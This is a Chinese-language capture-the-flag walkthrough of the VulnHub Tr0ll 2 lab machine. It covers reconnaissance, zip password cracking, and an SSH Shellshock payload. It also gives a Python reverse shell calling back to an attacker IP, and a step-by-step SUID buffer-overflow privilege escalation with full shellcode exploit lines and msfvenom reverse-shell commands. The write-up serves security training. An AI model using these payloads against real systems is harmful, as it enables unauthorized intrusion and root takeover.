9-vulnhub靶机-Tr0ll-ssh-rsa-private-环境变量-缓冲区溢出提权

9-vulnhub靶机-Tr0ll

靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/
难度:CTF中等
在这里插入图片描述

信息收集

nmap

nmap 192.168.75.0/24 -sP
IP 192.168.75.18

在这里插入图片描述

nmap 192.168.75.18 -sS -sV -A -T4
21 FTP
22 SSH
80 TCP

在这里插入图片描述

ports

一般情况下 ftp ssh tcp 等端口先从80 tcp端口收集信息

80 tcp

http://192.168.75.18
发现一张图片 查看源代码 无信息
将图片下载下来
用 binwalk strings exiftool 等工具未查看到有用信息

在这里插入图片描述

robots.txt

http://192.168.75.18/robots.txt
当robots.txt 信息比较多时 我们可以将robots.txt 下载下来 
配合dirb枚举信息

在这里插入图片描述

dirb

用dirb 配合 robots.txt 枚举信息
dirb http://192.168.75.18 robots.txt
//注意 robots.txt文件 前的/建议去掉

在这里插入图片描述

strings

访问 可访问的url
发现是四个一样的图片 将图片下载下来进行分析
用strings 对四个图片分析
http://192.168.75.18/dont_bother/ 
这个路径下的图片解析到有效信息
Look Deep within y0ur_self for the answer

在这里插入图片描述

在这里插入图片描述

访问 http://192.168.75.18/y0ur_self
发现 answer.txt
猜测是密码本 新建answer.txt文件 复制内容 保存

在这里插入图片描述

base64

base64 -d answer.txt > answer-base64-d.txt

在这里插入图片描述

21 ftp

ftp 192.168.75.18
Welcome to Tr0ll FTP... Only noobs stay for a while...
欢迎来到 Tr0ll FTP... 只有菜鸟会逗留一段时间...
根据提示 猜测账户密码都是 Tr0ll
dir  ls //相当于linux ls 查看目录下文件
get 下载文件

ftp://192.168.75.18
//在浏览器中ftp 相当于图形化界面
//google浏览器 在新版本禁用了ftp

在这里插入图片描述

尝试解压文件
linux zip文件 参考文章
https://www.cnblogs.com/chinareny2k/archive/2010/01/05/1639468.html

unzip lmao.zip
或者右键解压
发现需要密码 

在这里插入图片描述

fcrackzip

Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解
参考文章 https://blog.csdn.net/weixin_43272781/article/details/100751375

fcrackzip lmao.zip -u -D -p answer-base64-d.txt
[-u|--use-unzip] 使用 unzip 清除错误密码
[-D|--dictionary] 使用字典
[-p|--init-password string] 使用字符串作为初始密码/文件
ItCantReallyBeThisEasyRightLOL

在这里插入图片描述

解压文件
unzip lmao.zip
ItCantReallyBeThisEasyRightLOL

查看解压文件发现是ssh rsa private key

在这里插入图片描述

22 ssh

由压缩文件 解压得到 noob
ssh rsa private key
猜测账户为 noob
chmod 400 noob
//权限太高会有错误 SSH error: permissions are too open
//https://www.educative.io/edpresso/ssh-error-permissions-are-too-open

ssh -i noob noob@192.168.75.18

TRY HARDER LOL!

在这里插入图片描述

Shellshock

bash CVE-2014-6271 中的远程利用漏洞:Shellshock
https://www.csoonline.com/article/2687265/remote-exploit-in-bash-cve-2014-6271.html
https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
https://www.zdziarski.com/blog/?p=3905
https://resources.infosecinstitute.com/topic/practical-shellshock-exploitation-part-1/#gref

视频介绍:http://bloggars-online.blogspot.com/2014/10/bash-shellshock-ssh-exploit.html

前提条件是shell 设置为bash!
payload:
'() { :;}; linux命令'

ssh -i noob noob@192.168.75.18 '() { :;}; cat /etc/passwd'
ssh -i noob noob@192.168.75.18 '() { :;}; /bin/bash'    ----这会反弹一个伪shell

在这里插入图片描述

反弹shell

which python //查看python
python -c 'import pty; pty.spawn("/bin/bash")' //shell框架

bash //将此终端shell类型临时切换 bash
nc -lvp 6688 //监听端口
python 反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.75.5",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

获得稳定shell
stty raw -echo
fg
nc -lvp 6688

在这里插入图片描述

缓冲区溢出

find

查询具有SID权限的文件,将错误输出到/dev/unll:
find / -perm -4000 2>/dev/null
https://www.cnblogs.com/qlqwjy/p/8665871.html

在这里插入图片描述

ALSR

cat /proc/sys/kernel/randomize_va_space
0

ldd /bin/bash
有的缓冲区会设置ALSR机制 即随机化
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。
2 = 全随机。

在这里插入图片描述

GDB

cd /nothing_to_see_here/choose_wisely
ls -alhR

在这里插入图片描述

通过base64编码将文件复制出来
cd door1
md5sum r00t
base64 r00t

vim base64.txt //制base64编码复制进去
cat base64.txt | base64 -d > r00t
md5sum r00t

在这里插入图片描述

下面是在本机kali演示

strings r00t
其中strcpy以及printf可能存在溢出和格式化字符串漏洞

在这里插入图片描述

chmod +x r00t
gdb ./r00t

在这里插入图片描述

Offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300

run 

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6a413969
[*] Exact match at offset 268

Offset 为268

在这里插入图片描述

在这里插入图片描述

checksec

在这里插入图片描述

ESP

查找esp值
run $(python -c 'print "A"*268 + "B"*4')
run $(python -c 'print "A"*268 + "B"*4 + "C"*20')

esp ffffd080
\xff\xff\xd0\x90

在这里插入图片描述

在这里插入图片描述

info r
esp ffffd080
\x80\xd0\xff\xff

在这里插入图片描述

方法1

shellcode

只要搜linux/x86 /bin/bash或者/bin/sh
现在需要获取一些shellcode,www.shell-storm.org/shellcode这是非常好的一个写shellcode的学习网站,利用存储已编写的Shellcode。因为它运行在Intel,并且操作系统是32位Linux,因此我从此处获取Shellcode连接:
http://shell-storm.org/shellcode/
http://shell-storm.org/shellcode/files/shellcode-827.php


shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

在这里插入图片描述

exp

./r00t $(python -c 'print "A"*偏移量 + "ESP" + "\x90"*20 + "shellcode"')

"\x90"*20 : nop sel

./r00t $(python -c 'print "A"*268 + "\x80\xd0\xff\xff" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

方法2

坏字符

确认坏字符
缓冲区溢出的在生成shellcode时,会影响输入的字符,
比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。
常见的坏字符有x0a、x0b、x00
现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 \x01 到 \xff 的坏字符字符串:
#!/usr/bin/env python
from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()
vim zifu.py
chmod +x zifu.py
python zifu.py

在这里插入图片描述

run $(python -c 'print "A"*268 + "B"*4 + "zifu"')
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

在这里插入图片描述

x/256b $esp
如果出问题就x和b换用
x/256x $esp
正常情况下 0x08 后面应该是 0x09 
这里乱序 说明 09是坏字符
将上面的字符中 \x09去掉 再重新查看

在这里插入图片描述

run $(python -c 'print "A"*268 + "B"*4 + "zifu"')
x/256b $esp
又发现还是乱码 说明0x0a也是坏字符
至于后面全乱序猜测是因为0x0a换行符的问题

在这里插入图片描述

run $(python -c 'print "A"*268 + "B"*4 + "zifu"')
继续 去掉 \x09\x0a
x/256b $esp
发现 0x20也是坏字符 去掉再来

在这里插入图片描述

run $(python -c 'print "A"*268 + "B"*4 + "zifu"')
x/256b $esp

坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00)

在这里插入图片描述

msf生成payload

windows:
msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f py -v

Linux:
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f c

linux2:
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc

payload:
-a  框架选择
-p 载荷类型

LHOST 本机地址
LPORT

-b 坏字符
-e 要使用的编码器
-f 编译的语言
-c 指定要包含的附加 win32 shellcode 文件
-v 载荷的名称

在这里插入图片描述

exp

./r00t $(python -c 'print "A"*268 + "\x80\xd0\xff\xff" + "\x90"*20 + "\xd9\xd0\xd9\x74\x24\xf4\xba\xd0\x16\x55\x31\x5e\x33\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x16\x03\x56\x16\xe2\x25\x7c\x5e\x69\x5c\xd3\x06\xe1\x73\xb7\x4f\x16\xe3\x18\x23\xb1\xf3\x0e\xec\x23\x9a\xa0\x7b\x40\x0e\xd5\x74\x87\xae\x25\xaa\xe5\xc7\x4b\x9b\x9a\x7f\x94\xb4\x0f\xf6\x75\xf7\x30"')

靶机实操

gdb

ls -alhR
cd door
gdb./r00t

在这里插入图片描述

esp

前面知道 Offset为268
run $(python -c 'print "A"*268 + "B"*4 + "C"*20')
info r

bffffb80
\x80\xfb\xff\xbf

在这里插入图片描述

payload1

将前面本机实验 offset修改一下即可
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

在这里插入图片描述

payload2

./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\xd9\xd0\xd9\x74\x24\xf4\xba\xd0\x16\x55\x31\x5e\x33\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x16\x03\x56\x16\xe2\x25\x7c\x5e\x69\x5c\xd3\x06\xe1\x73\xb7\x4f\x16\xe3\x18\x23\xb1\xf3\x0e\xec\x23\x9a\xa0\x7b\x40\x0e\xd5\x74\x87\xae\x25\xaa\xe5\xc7\x4b\x9b\x9a\x7f\x94\xb4\x0f\xf6\x75\xf7\x30"')

在这里插入图片描述


版权声明:本文为WHHLS原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。